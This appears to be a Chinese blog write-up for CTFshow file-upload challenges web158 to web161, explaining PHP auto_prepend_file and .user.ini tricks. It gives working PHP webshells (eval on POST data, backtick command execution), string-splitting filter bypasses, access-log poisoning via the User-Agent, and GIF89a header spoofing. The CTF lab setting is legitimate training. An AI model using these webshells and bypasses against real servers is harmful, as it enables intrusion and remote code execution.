CTFshow web(文件上传158-161)

这篇具有很好参考价值的文章主要介绍了CTFshow web(文件上传158-161)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

                                                                              web158

ctfshow web158,前端,文件上传,文件包含,命令执行,web安全

知识点:

auto_append_file 是 PHP 配置选项之一,在 PHP 脚本执行结束后自动追加执行指定的文件。

当 auto_append_file 配置被设置为一个文件路径时,PHP 将在执行完脚本文件的所有代码后,自动加载并执行指定的文件。

这个配置选项可以用来在每个 PHP 脚本的结尾处执行一些共享的代码逻辑,例如清理工作、记录日志或执行一些全局操作。这样,就不必在每个脚本中显式编写和调用相同的代码,而是通过配置 auto_append_file 来实现统一的处理。

使用方法如下:

打开 PHP 的配置文件 php.ini。

找到 auto_append_file 配置项。

将要追加执行的文件路径设置给 auto_append_file 配置项,例如:

auto_append_file = "/path/to/your/file.php"
保存文件并重启 PHP 服务。

在接下来的 PHP 脚本执行后,指定的文件将会被自动加载和执行。

实战:

先上传 .user.ini 文件,里面写入

 auto_prepend_file=111.png
(#上传时是 .user.png ,抓包修改为 .user.ini)

然后创建一个111.png文件,里面写入一句话木马<?php @eval($_POST["x"]); ?> 

之后访问/upload/

这里发现在上传111.png时不行,看来是有什么东西被过滤了,那就换个<?system('tac ../f*')?>高级点的木马就好了

ctfshow web158,前端,文件上传,文件包含,命令执行,web安全                                                                                 web159

ctfshow web158,前端,文件上传,文件包含,命令执行,web安全

还是最开始的步骤,只是经过一系列的测试发现,无论第二个传递的木马是什么,只要带有括号的好像都不给上传,所以出现上传失败

百度了下,发现使用反引号直接输出就好了,没必要再去连接蚁剑 ,把木马改成下面的就好了  

<?=`tac ../fl*`?>      

ctfshow web158,前端,文件上传,文件包含,命令执行,web安全

                                                                                web160

这道题目发现上传失败了,估计空格给过滤了,得采用新的方式进行命令执行了,这里我之前写了屁啊文章,关于命令执行的,这里正好用上了,大家可以看看文章进行深入学习

一篇文章带你进阶CTF命令执行-CSDN博客

ctfshow web158,前端,文件上传,文件包含,命令执行,web安全

这里过滤这么大,直接上文件日志包含,经过不断测试发现:

<?=include"/var/log/nginx/access.log"?>

不管怎么上传也达不到目的,这里肯定是某个字符串被过滤了 ,使用"."一个个尝试后发现都失败了ctfshow web158,前端,文件上传,文件包含,命令执行,web安全

只有log进行过滤之后才可以上传成功

这里参考了金帛师傅的

payload:

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

接下来还是像之前那般先把user.ini上传,然后再上传一个文件包含,接下来访问uploadctfshow web158,前端,文件上传,文件包含,命令执行,web安全

接下来很简单,把木马插入ua就好了

<?php @eval($_POST['x']);?>

原理:其实你只要发现能够查看 文件日志,那就证明可以在ua只用插入木马连接蚁剑!!!ctfshow web158,前端,文件上传,文件包含,命令执行,web安全

ctfshow web158,前端,文件上传,文件包含,命令执行,web安全

                                                                         web161

在上传.user.ini文件时,经过检测发现对文件头进行检测,所以在上传所有文件时都要加上图片格式的文件头

GIF89a
auto_prepend_file=1.png		.user.ini文件配置
GIF89a
<?=include"/var/lo"."g/nginx/access.l"."og"?>		1.png文件配置

ctfshow web158,前端,文件上传,文件包含,命令执行,web安全

ctfshow web158,前端,文件上传,文件包含,命令执行,web安全

希望我的文章能够帮助大家,谢谢!文章来源地址https://www.toymoban.com/news/detail-831884.html

到了这里,关于CTFshow web(文件上传158-161)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ctfshow命令执行(web29-web52)

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 web45 web46 web47 web48 web49 web50 web51 web52 代码解释判断是否存在GET型参数c 如果存在赋值给变量c 如果参数值没有匹配到字符串flag则执行代码 eval() 直接传参 第一种方法 ?c=system(\\\'ls\\\'); ?c=system(\\\'tac f*\\\'); 第二

    2024年01月20日
    浏览(43)
  • ctfshow-Web入门-命令执行wp

    ​简单的命令执行,使用/i模式过滤大小写flag,可以使用通配符绕过过滤。 ​比上一题多过滤system与php,可以使用其他函数来执行命令,具体可以参考PHP中常见的命令执行函数与代码执行函数_-passthru-CSDN博客 ​多过滤cat,sort,shell,\\\'.\\\',空格,\\\'\\\'\\\' ​cat,sort可用其他查询命令,如

    2024年02月05日
    浏览(75)
  • 【Web】CTFSHOW PHP命令执行刷题记录(全)

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37-39 web40 web41 (y4✌脚本) web42 -44 web45 web46 -49 web50 web51 web52 web53 web54 web55-56 web57 web58 web59 web60 web61 web62 web63-65 web66-67 web68-70 web71 web72 web73-74 web75-76 web77 期末复习不了一点,不如做点旧题醒一醒手感。每一题都尽量用不同payload,如果

    2024年01月23日
    浏览(42)
  • ctfshow web入门 命令执行 web29~web77 web118~web124

    只过滤了flag,简简单单。 payload: 过滤了flag、system、php。 payload: 过滤了flag、system、php、cat、sort、shell、 . 、 、 \\\' 。 payload: 过滤了flag、system、php、cat、sort、shell、 . 、 、 \\\' 、`、echo、 ; 、 ( 。 ; 可以用 ? 代替 payload: include$_GET[1]? 就是包含GET参数1的值,而1的值没有任何

    2023年04月08日
    浏览(44)
  • CTFShow-WEB入门篇命令执行详细Wp(29-40)

    CTFShow 平台:https://ctf.show/ preg_match():函数执行一个正则表达式匹配。 这里过滤了 flag/i 过滤的不是很多就两个所以方法有很多种 ctfshow{f6702830-5d6b-4cfb-9678-4ae7fa2ba198} 过滤了 flag、system、php 其实还可以使用上面的方法换一个命令执行函数即可。 命令执行函数: passthru、she

    2024年02月10日
    浏览(42)
  • Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全

    pregmatch 是正则匹配函数,匹配是否包含flag, if(!preg_match(\\\"/flag/i\\\", $c)) , /i 忽略大小写 可以利用system来间接执行系统命令 flag采用 f* 绕过,或者 mv fl?g.php 1.txt 修改文件名,或者 cat 反引号ls反引号 linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html 多了对system和php的过滤 用

    2024年02月07日
    浏览(60)
  • pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40

    考点:pear文件包含 pear是PHP的一个扩展 查看phpinfo,满足条件 PEAR扩展 全称:PHP Extension and Application Repository PEAR扩展默认安装位置是: /usr/local/lib/php/ argv是数组,argc是数字。可通过var_dump($_SERVER);语句查看 argv有独立GET之外获取参数的作用。比如传入?aaa+bbb argv(数组)两个元

    2024年02月15日
    浏览(43)
  • Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中(预计8.18完成)~

    pregmatch 是正则匹配函数,匹配是否包含flag, if(!preg_match(\\\"/flag/i\\\", $c)) , /i 忽略大小写 可以利用system来间接执行系统命令 flag采用 f* 绕过,或者 mv fl?g.php 1.txt 修改文件名,或者 cat 反引号ls反引号 linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html 多了对system和php的过滤 用

    2024年02月12日
    浏览(50)
  • CTFshow web入门---web56

    题目: 题目分析: 查看本题,发现本题为命令执行类题目,但是有一个很致命的点,那么就是他过滤了所有的字母和数字,以及一系列的符号。因此本题最值得推敲的点就是如何实现 无字母数字的命令执行 通过拜读P神的一篇文章,其中《无字母数字webshell之提高篇》讲到了

    2023年04月22日
    浏览(41)
  • CTFSHOW菜狗杯 web

    简单的解释下这个嵌套 加入cookie中传入 CTFshow-QQ群:=a 那么就会出现 $_POST[\\\'a\\\'] ,假如post传入的值为 a=b ,那么就会得到 $_GET[\\\'b\\\'] ,接着假如get传入 b=c 就会得到 $_REQUEST[\\\'c\\\'] 。 而 $_REQUEST 就get、post都可以接收啦。 加入再get传入 c=123 那么前面这一部分( $_REQUEST[$_GET[$_POST[$_COOKIE[

    2023年04月08日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包